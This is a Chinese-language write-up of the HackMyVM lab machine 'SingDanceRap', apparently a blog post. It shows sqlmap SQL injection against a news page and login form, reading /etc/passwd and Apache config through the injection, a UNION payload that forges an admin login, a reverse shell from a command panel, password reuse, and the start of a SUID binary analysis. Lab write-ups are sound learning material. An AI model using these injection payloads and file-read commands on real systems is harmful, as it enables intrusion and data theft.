{"id":899,"date":"2025-06-20T14:39:03","date_gmt":"2025-06-20T06:39:03","guid":{"rendered":"http:\/\/162.14.82.114\/?p=899"},"modified":"2025-06-20T14:39:03","modified_gmt":"2025-06-20T06:39:03","slug":"hmv-_-singdancerap","status":"publish","type":"post","link":"http:\/\/162.14.82.114\/index.php\/899\/06\/20\/2025\/","title":{"rendered":"hmv[-_-]SingDanceRap"},"content":{"rendered":"

SingDanceRap<\/h1>\n

\u6709\u5c0f\u9ed1\u5b50.jpg\uff01\uff01\uff01\uff01<\/p>\n

\"image-20250619011342615\"<\/div>
\n
\"image-20250620074546486\"<\/div><\/p>\n

\u4fe1\u606f\u641c\u96c6<\/h2>\n

\u7aef\u53e3\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ rustscan -a $IP -- -sCV\n.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.\n| {}  }| { } |{ {__ {_   _}{ {__  \/  ___} \/ {} \\ |  `| |\n| .-. \\| {_} |.-._} } | |  .-._} }\\     }\/  \/\\  \\| |\\  |\n`-' `-'`-----'`----'  `-'  `----'  `---' `-'  `-'`-' `-'\nThe Modern Day Port Scanner.\n________________________________________\n: http:\/\/discord.skerritt.blog         :\n: https:\/\/github.com\/RustScan\/RustScan :\n --------------------------------------\nReal hackers hack time \u231b\n\n[~] The config file is expected to be at "\/home\/kali\/.rustscan.toml"\n[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers\n[!] Your file limit is very small, which negatively impacts RustScan's speed. Use the Docker image, or up the Ulimit with '--ulimit 5000'. \nOpen 192.168.10.101:22\nOpen 192.168.10.101:80\n\nPORT   STATE SERVICE REASON         VERSION\n22\/tcp open  ssh     syn-ack ttl 64 OpenSSH 7.9p1 Debian 10+deb10u4 (protocol 2.0)\n| ssh-hostkey: \n|   2048 5d:41:2a:c1:2d:3b:6c:78:b3:af:ae:9d:42:fe:88:b8 (RSA)\n| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ6hx\/MGKBFi0BVb\/ijS9c+HCosUbXdx29X166sIvWds9M57+5aJrSBrBmTSRnUJgtFOglWUnacz2M85JOU6QFD9SQqcl04pELqje+1kMviENow5iRkgIfRGTs1PPs5mPBBE0U7PWnrmf2VJlZH8Vu1+J9ZKGVCOTeD+gk24l9HRHAS\/3vrK+11OpzzkjpWXnV5ZITOqlxoX\/XCGCVyCHE\/TDdDzI1+NorjUPhVa0J+rgOsZJX0wyiWhwFP6NaIHlij6ajYOVYgHrtFon0C8GCnO1lPd+pJkSp0mNyZz0ZUB5fZNVRsmTCFZ5RVFuWgwO4TeubwN08PT4w\/vXie1v7\n|   256 3c:e9:64:eb:84:fe:5c:83:94:07:27:6c:12:14:c8:4c (ECDSA)\n| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBLt2cfQKRboXrnZ7oRSTyBMIGcM3o\/UNUF+tulhHrT506rtXQ6OkSO78cDZybuYEVZu6oPfFw7dE29kgPQZuhIc=\n|   256 09:9b:2b:18:de:6c:6d:f8:8b:15:df:6c:0f:c0:7c:b2 (ED25519)\n|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEf2M0an0IG9ZQAiT7MHE6AKovqVw9v65DDda8b+8R6q\n80\/tcp open  http    syn-ack ttl 64 Apache httpd 2.4.59 ((Debian))\n|_http-title: News Website\n| http-methods: \n|_  Supported Methods: HEAD GET POST OPTIONS\n|_http-server-header: Apache\/2.4.59 (Debian)\nMAC Address: 08:00:27:FF:AA:AD (PCS Systemtechnik\/Oracle VirtualBox virtual NIC)\nService Info: OS: Linux; CPE: cpe:\/o:linux:linux_kernel<\/code><\/pre>\n
\u76ee\u5f55\u626b\u63cf<\/h3>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ feroxbuster -u http:\/\/$IP\/ -w \/usr\/share\/wordlists\/dirbuster\/directory-list-2.3-medium.txt -x html txt php -t 100 2>\/dev\/null\n\n404      GET        9l       31w      276c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter\n403      GET        9l       28w      279c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter\n200      GET       52l      128w     3118c http:\/\/192.168.10.101\/index.html\n200      GET       53l      108w     1301c http:\/\/192.168.10.101\/news.php\n200      GET       52l      128w     3118c http:\/\/192.168.10.101\/\n301      GET        9l       28w      324c http:\/\/192.168.10.101\/littlesecrets => http:\/\/192.168.10.101\/littlesecrets\/\n200      GET       69l      142w     1983c http:\/\/192.168.10.101\/littlesecrets\/login.php\n302      GET        0l        0w        0c http:\/\/192.168.10.101\/littlesecrets\/manager.php => login.php<\/code><\/pre>\n
\u6f0f\u6d1e\u53d1\u73b0<\/h2>\n
\u8e29\u70b9<\/h3>\n
\"image-20250620075033947\"<\/div><\/p>\n
http:\/\/192.168.10.101\/news.php?title=dance\nhttp:\/\/192.168.10.101\/news.php?title=sing\nhttp:\/\/192.168.10.101\/news.php?title=rap<\/code><\/pre>\n
\u70b9\u51fb Read More<\/code>\u5c31\u4f1a\u5728\u7ed3\u5c3e\u591a\u4e00\u4e2a#<\/code>\uff0c\u8bf4\u660e\u53ea\u662f\u79fb\u52a8\u5230\u951a\u70b9\uff0c\u6ca1\u8bf7\u6c42\u65b0\u8d44\u6e90\u3002<\/p>\n
SQL\u6ce8\u5165<\/h3>\n
\u6211\u5c1d\u8bd5\u4e86\u6587\u4ef6\u5305\u542b\uff0c\u4f46\u662f\u672a\u679c\uff0c\u4e8e\u662f\u5c1d\u8bd5 sql \u6ce8\u5165\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch\n\n---\nParameter: title (GET)\n    Type: boolean-based blind\n    Title: AND boolean-based blind - WHERE or HAVING clause\n    Payload: title=sing' AND 9321=9321 AND 'IiCq'='IiCq\n\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: title=sing' AND (SELECT 4652 FROM (SELECT(SLEEP(5)))rPWE) AND 'CeNd'='CeNd\n\n    Type: UNION query\n    Title: Generic UNION query (NULL) - 3 columns\n    Payload: title=sing' UNION ALL SELECT NULL,CONCAT(0x71787a7171,0x4c48786e79414e524a636473727a656a4b7656486e7742594f76777551454a767a5a655374624c65,0x7171707a71),NULL-- -\n---\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch --dbs\navailable databases [4]:\n[*] information_schema\n[*] mysql\n[*] news_db\n[*] performance_schema\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch -D news_db --tables\nDatabase: news_db\n[2 tables]\n+-------+\n| news  |\n| users |\n+-------+\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch -D news_db -T news --dump\nDatabase: news_db\nTable: news\n[3 entries]\n+----+-------+--------------------------------+\n| id | title | content                        |\n+----+-------+--------------------------------+\n| 1  | sing  | This is the content for sing.  |\n| 2  | dance | This is the content for dance. |\n| 3  | rap   | This is the content for rap.   |\n+----+-------+--------------------------------+\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch -D news_db -T users --dump\nDatabase: news_db\nTable: users\n[2 entries]\n+----+-----------+----------+\n| id | password  | username |\n+----+-----------+----------+\n| 1  | password1 | user1    |\n| 2  | password2 | user2    |\n+----+-----------+----------+<\/code><\/pre>\n
\u8fd9\u4e00\u770b\u5c31\u6beb\u65e0\u8bda\u610f\u7684\u51ed\u8bc1\u4e00\u770b\u5c31\u662f\u9519\u7684\u3002\u3002\u3002\u7136\u540e\u76ee\u5f55\u626b\u63cf\u7ed3\u679c\u51fa\u6765\u4e86\uff0c\u6709\u65b0\u7684\u9690\u85cf\u76ee\u5f55\uff0c\u5c1d\u8bd5\u770b\u770b\u6709\u4e9b\u5565\uff1a<\/p>\n
http:\/\/192.168.10.101\/littlesecrets\/login.php<\/code><\/pre>\n
\"image-20250620081339897\"<\/div><\/p>\n
<form action="login.php" method="POST">\n    <input type="text" name="username" placeholder="Username" required>\n    <input type="password" name="password" placeholder="Password" required>\n    <input type="submit" value="Login"><\/code><\/pre>\n
\u5c1d\u8bd5\u8fdb\u884c\u6ce8\u5165\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ sqlmap -u http:\/\/192.168.10.101\/littlesecrets\/login.php --data "username=admin&password=password" --batch\n\nPOST parameter 'username' is vulnerable. Do you want to keep testing the others (if any)? [y\/N] N\nsqlmap identified the following injection point(s) with a total of 72 HTTP(s) requests:\n---\nParameter: username (POST)\n    Type: time-based blind\n    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)\n    Payload: username=admin' AND (SELECT 3526 FROM (SELECT(SLEEP(5)))hwGM) AND 'KQRF'='KQRF&password=password\n---\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ sqlmap -u http:\/\/192.168.10.101\/littlesecrets\/login.php --data "username=admin&password=password" --batch --dbs\navailable databases [4]:\n[*] information_schema\n[*] mysql\n[*] news_db\n[*] performance_schema<\/code><\/pre>\n
\u548c\u524d\u9762\u4e00\u6a21\u4e00\u6837\uff0c\u5c1d\u8bd5\u770b\u770b\u6709\u6ca1\u6709\u6f0f\u6389\u5565\u4fe1\u606f\uff0c\u7528\u4e4b\u524d\u90a3\u4e2a\uff0c\u76f2\u6ce8\u592a\u6162\u4e86\u3002<\/p>\n
\u4f46\u662f\u6ca1\u6709\u53d1\u73b0\u5565\u4e1c\u897f\uff0c\u5c1d\u8bd5\u5229\u7528sqlmap\u76f4\u63a5\u83b7\u53d6os-shell<\/code>\uff0c\u4f46\u662f\u5931\u8d25\u4e86\uff0c\u4f7f\u7528\u65b9\u6cd5\u53ef\u4ee5\u53c2\u8003\uff1ahttps:\/\/sqlmap.highlight.ink\/usage\uff0c\u8fdb\u884c\u4e86\u51e0\u6b21\u547d\u4ee4\u6ce8\u610f\u5230<\/a>\uff1a<\/p>\n
the back-end DBMS is MySQL\nweb server operating system: Linux Debian\nweb application technology: Apache 2.4.59\nback-end DBMS: MySQL >= 5.0.12 (MariaDB fork)<\/code><\/pre>\n
\u5c1d\u8bd5\u8bfb\u53d6\u6587\u4ef6\u5199\u5165\u6587\u4ef6\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch --file-read=\/etc\/passwd\n---------------------\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ cat \/home\/kali\/.local\/share\/sqlmap\/output\/192.168.10.101\/files\/_etc_passwd\nroot:x:0:0:root:\/root:\/bin\/bash\ndaemon:x:1:1:daemon:\/usr\/sbin:\/usr\/sbin\/nologin\nbin:x:2:2:bin:\/bin:\/usr\/sbin\/nologin\nsys:x:3:3:sys:\/dev:\/usr\/sbin\/nologin\nsync:x:4:65534:sync:\/bin:\/bin\/sync\ngames:x:5:60:games:\/usr\/games:\/usr\/sbin\/nologin\nman:x:6:12:man:\/var\/cache\/man:\/usr\/sbin\/nologin\nlp:x:7:7:lp:\/var\/spool\/lpd:\/usr\/sbin\/nologin\nmail:x:8:8:mail:\/var\/mail:\/usr\/sbin\/nologin\nnews:x:9:9:news:\/var\/spool\/news:\/usr\/sbin\/nologin\nuucp:x:10:10:uucp:\/var\/spool\/uucp:\/usr\/sbin\/nologin\nproxy:x:13:13:proxy:\/bin:\/usr\/sbin\/nologin\nwww-data:x:33:33:www-data:\/var\/www:\/usr\/sbin\/nologin\nbackup:x:34:34:backup:\/var\/backups:\/usr\/sbin\/nologin\nlist:x:38:38:Mailing List Manager:\/var\/list:\/usr\/sbin\/nologin\nirc:x:39:39:ircd:\/var\/run\/ircd:\/usr\/sbin\/nologin\ngnats:x:41:41:Gnats Bug-Reporting System (admin):\/var\/lib\/gnats:\/usr\/sbin\/nologin\nnobody:x:65534:65534:nobody:\/nonexistent:\/usr\/sbin\/nologin\n_apt:x:100:65534::\/nonexistent:\/usr\/sbin\/nologin\nsystemd-timesync:x:101:102:systemd Time Synchronization,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-network:x:102:103:systemd Network Management,,,:\/run\/systemd:\/usr\/sbin\/nologin\nsystemd-resolve:x:103:104:systemd Resolver,,,:\/run\/systemd:\/usr\/sbin\/nologin\nmessagebus:x:104:110::\/nonexistent:\/usr\/sbin\/nologin\nsshd:x:105:65534::\/run\/sshd:\/usr\/sbin\/nologin\nsystemd-coredump:x:999:999:systemd Core Dumper:\/:\/usr\/sbin\/nologin\n_rpc:x:106:65534::\/run\/rpcbind:\/usr\/sbin\/nologin\nstatd:x:107:65534::\/var\/lib\/nfs:\/usr\/sbin\/nologin\ntftp:x:108:112:tftp daemon,,,:\/srv\/tftp:\/usr\/sbin\/nologin\nmysql:x:110:115:MySQL Server,,,:\/nonexistent:\/bin\/false\nhe110wor1d:x:1001:1001::\/home\/he110wor1d:\/bin\/bash<\/code><\/pre>\n
\u53ef\u4ee5\u6b63\u5e38\u8bfb\u53d6\uff01\uff01\u770b\u4e00\u4e0b\u7f51\u7ad9\u662f\u5426\u53ef\u4ee5\u6267\u884c\u811a\u672c\u6587\u4ef6\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch --file-read=\/etc\/apache2\/apache2.conf\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ cat \/home\/kali\/.local\/share\/sqlmap\/output\/192.168.10.101\/files\/_etc_apache2_apache2.conf\n-----------------\n\nDefaultRuntimeDir ${APACHE_RUN_DIR}\n\n#\n# PidFile: The file in which the server should record its process\n# identification number when it starts.\n# This needs to be set in \/etc\/apache2\/envvars\n#\nPidFile ${APACHE_PID_FILE}\n\n#\n# Timeout: The number of seconds before receives and sends time out.\n#\nTimeout 300\n\n#\n# KeepAlive: Whether or not to allow persistent connections (more than\n# one request per connection). Set to "Off" to deactivate.\n#\nKeepAlive On\n\n#\n# MaxKeepAliveRequests: The maximum number of requests to allow\n# during a persistent connection. Set to 0 to allow an unlimited amount.\n# We recommend you leave this number high, for maximum performance.\n#\nMaxKeepAliveRequests 100\n\n#\n# KeepAliveTimeout: Number of seconds to wait for the next request from the\n# same client on the same connection.\n#\nKeepAliveTimeout 5\n\n# These need to be set in \/etc\/apache2\/envvars\nUser ${APACHE_RUN_USER}\nGroup ${APACHE_RUN_GROUP}\n\n#\n# HostnameLookups: Log the names of clients or just their IP addresses\n# e.g., www.apache.org (on) or 204.62.129.132 (off).\n# The default is off because it'd be overall better for the net if people\n# had to knowingly turn this feature on, since enabling it means that\n# each client request will result in AT LEAST one lookup request to the\n# nameserver.\n#\nHostnameLookups Off\n\n# ErrorLog: The location of the error log file.\n# If you do not specify an ErrorLog directive within a <VirtualHost>\n# container, error messages relating to that virtual host will be\n# logged here.  If you *do* define an error logfile for a <VirtualHost>\n# container, that host's errors will be logged there and not here.\n#\nErrorLog ${APACHE_LOG_DIR}\/error.log\n\n#\n# LogLevel: Control the severity of messages logged to the error_log.\n# Available values: trace8, ..., trace1, debug, info, notice, warn,\n# error, crit, alert, emerg.\n# It is also possible to configure the log level for particular modules, e.g.\n# "LogLevel info ssl:warn"\n#\nLogLevel warn\n\n# Include module configuration:\nIncludeOptional mods-enabled\/*.load\nIncludeOptional mods-enabled\/*.conf\n\n# Include list of ports to listen on\nInclude ports.conf\n\n# Sets the default security model of the Apache2 HTTPD server. It does\n# not allow access to the root filesystem outside of \/usr\/share and \/var\/www.\n# The former is used by web applications packaged in Debian,\n# the latter may be used for local directories served by the web server. If\n# your system is serving content from a sub-directory in \/srv you must allow\n# access here, or in any related virtual host.\n<Directory \/>\n        Options FollowSymLinks\n        AllowOverride None\n        Require all denied\n<\/Directory>\n\n<Directory \/usr\/share>\n        AllowOverride None\n        Require all granted\n<\/Directory>\n\n<Directory \/var\/www\/he110wor1d\/>\n        Options -Indexes\n        AllowOverride None\n        Require all granted\n<\/Directory>\n\n<VirtualHost *:80>\n    DocumentRoot \/var\/www\/he110wor1d\n    <Directory \/var\/www\/he110wor1d>\n        Options -Indexes\n        AllowOverride None\n        Require all granted\n    <\/Directory>\n\n    <FilesMatch \\.php$>\n        SetHandler application\/x-httpd-php\n    <\/FilesMatch>\n\n   ErrorLog ${APACHE_LOG_DIR}\/xxx_error.log\n   CustomLog ${APACHE_LOG_DIR}\/xxx_access.log combined\n<\/VirtualHost>\n\n# AccessFileName: The name of the file to look for in each directory\n# for additional configuration directives.  See also the AllowOverride\n# directive.\n#\nAccessFileName .htaccess\n\n#\n# The following lines prevent .htaccess and .htpasswd files from being\n# viewed by Web clients.\n#\n<FilesMatch "^\\.ht">\n        Require all denied\n<\/FilesMatch>\n\n#\n# The following directives define some format nicknames for use with\n# a CustomLog directive.\n#\n# These deviate from the Common Log Format definitions in that they use %O\n# (the actual bytes sent including headers) instead of %b (the size of the\n# requested file), because the latter makes it impossible to detect partial\n# requests.\n#\n# Note that the use of %{X-Forwarded-For}i instead of %h is not recommended.\n# Use mod_remoteip instead.\n#\nLogFormat "%v:%p %h %l %u %t \\"%r\\" %>s %O \\"%{Referer}i\\" \\"%{User-Agent}i\\"" vhost_combined\nLogFormat "%h %l %u %t \\"%r\\" %>s %O \\"%{Referer}i\\" \\"%{User-Agent}i\\"" combined\nLogFormat "%h %l %u %t \\"%r\\" %>s %O" common\nLogFormat "%{Referer}i -> %U" referer\nLogFormat "%{User-agent}i" agent\n\n# Include of directories ignores editors' and dpkg's backup files,\n# see README.Debian for details.\n\n# Include generic snippets of statements\nIncludeOptional conf-enabled\/*.conf\n\n# Include the virtual host configurations:\nIncludeOptional sites-enabled\/*.conf\n\n# vim: syntax=apache ts=4 sw=4 sts=4 sr noe<\/code><\/pre>\n
\u6ce8\u610f\u5230\u7f51\u7ad9\u76ee\u5f55\u4e3a\uff1a\/var\/www\/he110wor1d<\/code>\uff0c\u5305\u542b\u4e86\u6587\u4ef6.htaccess<\/code>\uff08\u6211\u6ca1\u627e\u5230\uff09\u4ee5\u53ca\u53ef\u7ed1\u5b9a\u6267\u884cphp\u6587\u4ef6\u3002<\/p>\n
\u5c1d\u8bd5\u5199\u5165\u4e00\u4e2ashell<\/code>\u7136\u540e\u6fc0\u6d3b\uff1a<\/p>\n
# sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch --file-write=.\/revshell.php --file-dest=\/var\/www\/he110wor1d\/revshell.php<\/code><\/pre>\n
\u4f46\u662f\u6ca1\u6709\u8bfb\u53d6\u5230\u3002\u3002\u3002\u3002\u53ef\u80fd\u6ca1\u6709\u5199\u5165\u6743\u9650\uff1f\uff1f\u5c1d\u8bd5\u770b\u4e00\u4e0b\u51e0\u4e2a\u6e90\u4ee3\u7801\uff0c\u5c1d\u8bd5\u8fdb\u884c\u767b\u5f55\u5427\u3002\u3002\u3002\u3002<\/p>\n
# sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch --file-read=\/var\/www\/he110wor1d\/littlesecrets\/login.php\n<?php\n\/\/ Database connection\n$servername = "localhost";\n$username = "root";\n$password = "i_love_sing_dance_rap";\n$dbname = "news_db";\n\n$conn = new mysqli($servername, $username, $password, $dbname);\n\nif ($conn->connect_error) {\n    die("Connection failed: " . $conn->connect_error);\n}\n\n$login_error = "";\n\nif ($_SERVER["REQUEST_METHOD"] == "POST") {\n    $username = $_POST['username'];\n    $password = $_POST['password'];\n\n    $sql = "SELECT id, username, password FROM users where username='$username'";\n    $result = $conn->query($sql);\n    if ($result->num_rows > 0) {\n        $row = $result->fetch_assoc();\n        if ($password === $row['password']) {\n            session_start();\n            $_SESSION['user_id'] = $row['id'];\n            $_SESSION['username'] = $row['username'];\n            header("Location: manager.php");\n            exit();\n        } else {\n            $login_error = "Invalid username or password.";\n        }\n    } else {\n        $login_error = "Invalid username or password.";\n    }\n}\n$conn->close();\n\n?><\/code><\/pre>\n
# sqlmap -u "http:\/\/192.168.10.101\/news.php?title=sing" --batch --file-read=\/var\/www\/he110wor1d\/littlesecrets\/manager.php\n<?php\nsession_start();\n\nif (!isset($_SESSION['username'])) {\n            header("Location: login.php");\n            exit();\n}\n\nif ($_SESSION['username'] !== 'he110wor1d_admin') {\n            die("Access Denied. You do not have permission to access this page.");\n}\n\n$command_output = '';\n\nif ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST['command'])) {\n            $command = $_POST['command'];\n                $command_output = shell_exec($command);\n}\n?><\/code><\/pre>\n
\u56e0\u4e3a\u5176 POST \u53c2\u6570\u662f\u76f4\u63a5\u4f20\u5165 sql \u8bed\u53e5\u7684\uff0c\u7528\u6237\u540d\u5df2\u77e5\u4e3ahe110wor1d_admin<\/code>\uff0c\u53ef\u4ee5\u5c1d\u8bd5\u4e07\u80fd\u5bc6\u7801\u8fdb\u884c\u7ed5\u8fc7\uff0c\u4f46\u662f\u53d1\u73b0\u4e00\u76f4\u5931\u8d25\uff0c\u8fd9\u662f\u56e0\u4e3a\u6839\u672c\u4e0d\u5b58\u5728\u8fd9\u4e2a\u7528\u6237\uff0c\u4e4b\u524dsql\u6ce8\u5165\u4e5f\u6ca1\u627e\u5230\u4efb\u4f55\u76f8\u5173\u4fe1\u606f\uff0c\u53ea\u80fd\u5c1d\u8bd5\u81ea\u5df1\u624b\u52a8\u6784\u9020\u4e00\u4e2a\u8fd9\u6837\u7684\u7528\u6237\u4e86\u3002\u3002\u3002\u3002<\/p>\n
\u5f97\u5230\u4e86root<\/code>\u7ea7\u522b\u7684mysql\u6570\u636e\u5e93\u5bc6\u7801i_love_sing_dance_rap<\/code>\uff01\uff01\uff01\uff01\uff01<\/p>\n
\u56f4\u7ed5\u7740\u521a\u521a\u90a3\u4e2a sql \u8bed\u53e5\u6784\u9020\uff1a<\/p>\n
SELECT id, username, password FROM users where username='$username'<\/code><\/pre>\n
\u7531\u4e8e\u540e\u9762\u8fd8\u6709\u4e00\u4e2apassword<\/code>\u7684\u5f3a\u6bd4\u8f83\uff0c\u6240\u4ee5\u524d\u540e\u7684 password\uff0c\u9700\u8981\u81ea\u6d3d\uff01<\/p>\n
# payload\nusername: ' union select '1','he110wor1d_admin','password\npassword: password<\/code><\/pre>\n
\u7136\u540e\u5c31\u8fdb\u5165\u4e86\u7ba1\u7406\u754c\u9762\uff0c\u53ef\u4ee5\u6267\u884c\u4ee3\u7801\uff1a<\/p>\n
\"image-20250620091640424\"<\/div><\/p>\n
\u5c1d\u8bd5\u53cd\u5f39shell\uff01\uff01\uff01\uff01<\/p>\n
\"image-20250620091706133\"<\/div>
\n
\"image-20250620091719969\"<\/div><\/p>\n
(remote) www-data@singdancerap:\/var\/www\/he110wor1d$ ls -la\ntotal 24\ndrwxr-xr-x 3 root     root     4096 Feb 27 19:14 .\ndrwxr-xr-x 3 www-data www-data 4096 Mar  2 07:05 ..\n-rwxr-xr-x 1 root     root     3118 Feb 27 19:11 index.html\ndrwxr-xr-x 2 root     root     4096 Feb 28 00:58 littlesecrets\n-rw-r--r-- 1 root     root     2137 Feb 27 19:10 news.php\n-rw-r--r-- 1 root     root     3200 Feb 27 18:29 styles.css\n(remote) www-data@singdancerap:\/var\/www\/he110wor1d$ cd littlesecrets\n(remote) www-data@singdancerap:\/var\/www\/he110wor1d\/littlesecrets$ ls -la\ntotal 16\ndrwxr-xr-x 2 root root 4096 Feb 28 00:58 .\ndrwxr-xr-x 3 root root 4096 Feb 27 19:14 ..\n-rw-r--r-- 1 root root 3144 Feb 27 20:07 login.php\n-rw-r--r-- 1 root root 2788 Feb 27 21:24 manager.php<\/code><\/pre>\n
\u54b1\u4eec\u679c\u7136\u6ca1\u6709\u5199\u5165\u6587\u4ef6\u3002\u3002\u3002\u3002\u3002<\/p>\n
\u63d0\u6743<\/h2>\n
\u4fe1\u606f\u641c\u96c6<\/h3>\n
(remote) www-data@singdancerap:\/var\/www\/he110wor1d\/littlesecrets$ ls -la \/home\/          \ntotal 12\ndrwxr-xr-x  3 root       root       4096 Mar  1 01:10 .\ndrwxr-xr-x 18 root       root       4096 Feb 27 16:41 ..\ndrwxr-x---  4 he110wor1d he110wor1d 4096 Mar  3 04:14 he110wor1d\n(remote) www-data@singdancerap:\/var\/www\/he110wor1d\/littlesecrets$ cd \/tmp\n(remote) www-data@singdancerap:\/tmp$ find \/ -perm -u=s -type f 2>\/dev\/null\n\/usr\/lib\/dbus-1.0\/dbus-daemon-launch-helper\n\/usr\/lib\/eject\/dmcrypt-get-device\n\/usr\/lib\/openssh\/ssh-keysign\n\/usr\/bin\/chfn\n\/usr\/bin\/chsh\n\/usr\/bin\/mount\n\/usr\/bin\/su\n\/usr\/bin\/umount\n\/usr\/bin\/newgrp\n\/usr\/bin\/passwd\n\/usr\/bin\/gpasswd\n(remote) www-data@singdancerap:\/tmp$ mysql -u root -p\nEnter password: \nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 810\nServer version: 10.3.39-MariaDB-0+deb10u2 Debian 10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [(none)]> show databases;\n+--------------------+\n| Database           |\n+--------------------+\n| information_schema |\n| mysql              |\n| news_db            |\n| performance_schema |\n+--------------------+\n4 rows in set (0.000 sec)\n\nMariaDB [(none)]> <\/code><\/pre>\n
\u6ca1\u4e1c\u897f\uff0c\u5c1d\u8bd5\u5bc6\u7801\u590d\u7528\uff0c\u53d1\u73b0\u53ef\u4ee5\u6210\u529f\u5207\u6362\u7528\u6237\uff1ai_love_sing_dance_rap<\/code><\/p>\n
\"image-20250620092454968\"<\/div><\/p>\n
\u63d0\u6743root<\/h3>\n
he110wor1d@singdancerap:\/tmp$ cd ~\nhe110wor1d@singdancerap:~$ ls -la\ntotal 32\ndrwxr-x--- 4 he110wor1d he110wor1d 4096 Mar  3 04:14 .\ndrwxr-xr-x 3 root       root       4096 Mar  1 01:10 ..\nlrwxrwxrwx 1 he110wor1d he110wor1d    9 Feb 28 06:49 .bash_history -> \/dev\/null\n-rw-r--r-- 1 he110wor1d he110wor1d  220 Apr 17  2019 .bash_logout\n-rw-r--r-- 1 he110wor1d he110wor1d 3526 Apr 17  2019 .bashrc\ndrwxr-xr-x 3 he110wor1d he110wor1d 4096 Mar  1 07:23 .local\n-rw-r--r-- 1 he110wor1d he110wor1d  807 Apr 17  2019 .profile\ndrwxr-x--- 2 he110wor1d he110wor1d 4096 Mar  3 04:21 thekey2root\n-rw------- 1 he110wor1d he110wor1d  109 Feb 28 06:59 user.txt\nhe110wor1d@singdancerap:~$ cat user.txt \n#SQL injection can not only retrieve data but also forge it.\n\nUser flag:107883ee-f5e4-11ef-8542-005056207011\nhe110wor1d@singdancerap:~$ cd thekey2root\/\nhe110wor1d@singdancerap:~\/thekey2root$ ls -la\ntotal 24\ndrwxr-x--- 2 he110wor1d he110wor1d  4096 Mar  3 04:21 .\ndrwxr-x--- 4 he110wor1d he110wor1d  4096 Mar  3 04:14 ..\n-rwsr-sr-x 1 root       root       15472 Mar  1 00:23 thekey2root<\/code><\/pre>\n
\u5c06\u6587\u4ef6\u4e0b\u5230\u672c\u5730\u3002\u5148\u770b\u4e00\u4e0b\u4fdd\u62a4\u548c\u4fe1\u606f\uff1a<\/p>\n
\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ pwn checksec thekey2root \n[*] '\/home\/kali\/temp\/SingDanceRap\/thekey2root'\n    Arch:       i386-32-little\n    RELRO:      Partial RELRO\n    Stack:      No canary found\n    NX:         NX enabled\n    PIE:        No PIE (0x8048000)\n    Stripped:   No\n\n\u250c\u2500\u2500(kali\u327fkali)-[~\/temp\/SingDanceRap]\n\u2514\u2500$ file thekey2root                                                                                                             \nthekey2root: ELF 32-bit LSB executable, Intel i386, version 1 (SYSV), dynamically linked, interpreter \/lib\/ld-linux.so.2, for GNU\/Linux 3.2.0, BuildID[sha1]=3902296366fae4694e04363befc5aa43de900fa8, not stripped<\/code><\/pre>\n
\u672a\u5f00\u542fPIE<\/code>\uff0c\u6545\u4f7f\u7528\u7684\u662f\u7edd\u5bf9\u5730\u5740\uff0c\u901a\u7528\uff0c\u542f\u7528\u4e86NX<\/code>\uff0c\u6545\u6808\u4e0a\u7684 shellcode \u4e0d\u53ef\u6267\u884c\u3002<\/p>\n
\u53cd\u7f16\u8bd1\u4e00\u4e0b\uff1a<\/p>\n
int __cdecl main(int argc, const char **argv, const char **envp)\n{\n  system("echo 'input something:'");\n  input(&argc);\n  system("echo 'thanks for your input'");\n  return 0;\n}<\/code><\/pre>\n
\"image-20250620093026139\"<\/div><\/p>\n
